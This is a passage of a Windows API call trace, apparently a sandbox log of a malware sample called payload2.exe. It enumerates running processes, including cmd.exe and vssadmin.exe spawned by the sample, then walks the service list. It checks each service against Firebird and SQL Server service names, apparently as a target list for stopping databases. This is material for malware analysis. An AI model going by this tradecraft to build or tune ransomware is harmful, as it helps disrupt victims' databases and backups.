	[0187.138] lstrlenW (lpString="svchost.exe") returned 11
	[0187.138] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.138] lstrlenW (lpString="svchost.exe") returned 11
	[0187.138] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.139] lstrlenW (lpString="svchost.exe") returned 11
	[0187.139] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.139] lstrlenW (lpString="svchost.exe") returned 11
	[0187.139] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.140] lstrlenW (lpString="svchost.exe") returned 11
	[0187.140] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.140] lstrlenW (lpString="svchost.exe") returned 11
	[0187.140] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.141] lstrlenW (lpString="svchost.exe") returned 11
	[0187.141] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.142] lstrlenW (lpString="svchost.exe") returned 11
	[0187.142] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.142] lstrlenW (lpString="svchost.exe") returned 11
	[0187.142] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.143] lstrlenW (lpString="svchost.exe") returned 11
	[0187.143] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0187.143] lstrlenW (lpString="spoolsv.exe") returned 11
	[0187.143] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.144] lstrlenW (lpString="svchost.exe") returned 11
	[0187.144] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0187.144] lstrlenW (lpString="audiodg.exe") returned 11
	[0187.144] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0187.162] lstrlenW (lpString="sihost.exe") returned 10
	[0187.163] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.163] lstrlenW (lpString="svchost.exe") returned 11
	[0187.163] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0187.164] lstrlenW (lpString="taskhostw.exe") returned 13
	[0187.164] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0187.164] lstrlenW (lpString="msoia.exe") returned 9
	[0187.164] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0187.165] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0187.165] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0187.165] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0187.165] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0187.166] lstrlenW (lpString="Memory Compression") returned 18
	[0187.166] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0187.166] lstrlenW (lpString="explorer.exe") returned 12
	[0187.166] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0187.167] lstrlenW (lpString="SearchUI.exe") returned 12
	[0187.167] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0187.167] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0187.167] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0187.168] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0187.168] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0187.168] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0187.168] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0187.169] lstrlenW (lpString="payload2.exe") returned 12
	[0187.169] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0187.329] lstrlenW (lpString="cmd.exe") returned 7
	[0187.329] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0187.329] lstrlenW (lpString="conhost.exe") returned 11
	[0187.330] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0187.330] lstrlenW (lpString="consent.exe") returned 11
	[0187.330] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0187.330] lstrlenW (lpString="vssadmin.exe") returned 12
	[0187.331] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0187.331] CloseHandle (hObject=0x5b4) returned 1
	[0187.331] Sleep (dwMilliseconds=0x1f4) 
	[0187.975] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668060
	[0187.976] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0187.976] GetLastError () returned 0xea
	[0187.976] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0187.976] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0187.978] CloseServiceHandle (hSCObject=0x668060) returned 1
	[0187.978] lstrlenW (lpString="Appinfo") returned 7
	[0187.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0187.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0187.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0187.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0187.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0187.978] lstrlenW (lpString="AppXSvc") returned 7
	[0187.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0187.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0187.978] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0187.978] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0187.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0187.978] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0187.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0187.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0187.979] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0187.979] lstrlenW (lpString="Audiosrv") returned 8
	[0187.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0187.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0187.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0187.979] lstrlenW (lpString="BFE") returned 3
	[0187.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0187.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0187.979] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0187.979] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0187.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0187.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0187.979] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0187.979] lstrlenW (lpString="CDPSvc") returned 6
	[0187.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0187.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0187.979] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0187.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0187.980] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0187.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0187.980] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0187.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0187.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0187.980] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0187.980] lstrlenW (lpString="CryptSvc") returned 8
	[0187.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0187.980] lstrlenW (lpString="DcomLaunch") returned 10
	[0187.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0187.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0187.980] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0187.980] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0187.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0187.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0187.980] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0187.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0187.981] lstrlenW (lpString="Dhcp") returned 4
	[0187.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0187.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0187.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0187.981] lstrlenW (lpString="Dnscache") returned 8
	[0187.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0187.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0187.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0187.981] lstrlenW (lpString="DPS") returned 3
	[0187.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0187.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0187.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0187.981] lstrlenW (lpString="DsmSvc") returned 6
	[0187.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0187.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0187.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0187.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0187.981] lstrlenW (lpString="DusmSvc") returned 7
	[0187.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0187.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0187.982] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0187.982] lstrlenW (lpString="EventLog") returned 8
	[0187.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0187.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0187.982] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0187.982] lstrlenW (lpString="EventSystem") returned 11
	[0187.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0187.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0187.982] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0187.982] lstrlenW (lpString="FontCache") returned 9
	[0187.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0187.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0187.982] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0187.982] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0187.982] lstrlenW (lpString="gpsvc") returned 5
	[0187.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0187.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0187.982] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0187.982] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0187.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0187.982] lstrlenW (lpString="iphlpsvc") returned 8
	[0187.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0187.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0187.983] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0187.983] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0187.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0187.983] lstrlenW (lpString="KeyIso") returned 6
	[0187.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0187.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0187.983] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0187.983] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0187.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0187.983] lstrlenW (lpString="LanmanServer") returned 12
	[0187.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0187.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0187.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0187.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0187.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0187.983] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0187.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0187.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0187.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0187.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0187.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0187.983] lstrlenW (lpString="lfsvc") returned 5
	[0187.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0187.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0187.983] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0187.983] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0187.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0187.983] lstrlenW (lpString="lmhosts") returned 7
	[0187.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0187.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0187.999] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0187.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0187.999] lstrlenW (lpString="LSM") returned 3
	[0187.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0187.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0187.999] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0187.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0187.999] lstrlenW (lpString="MpsSvc") returned 6
	[0187.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0187.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
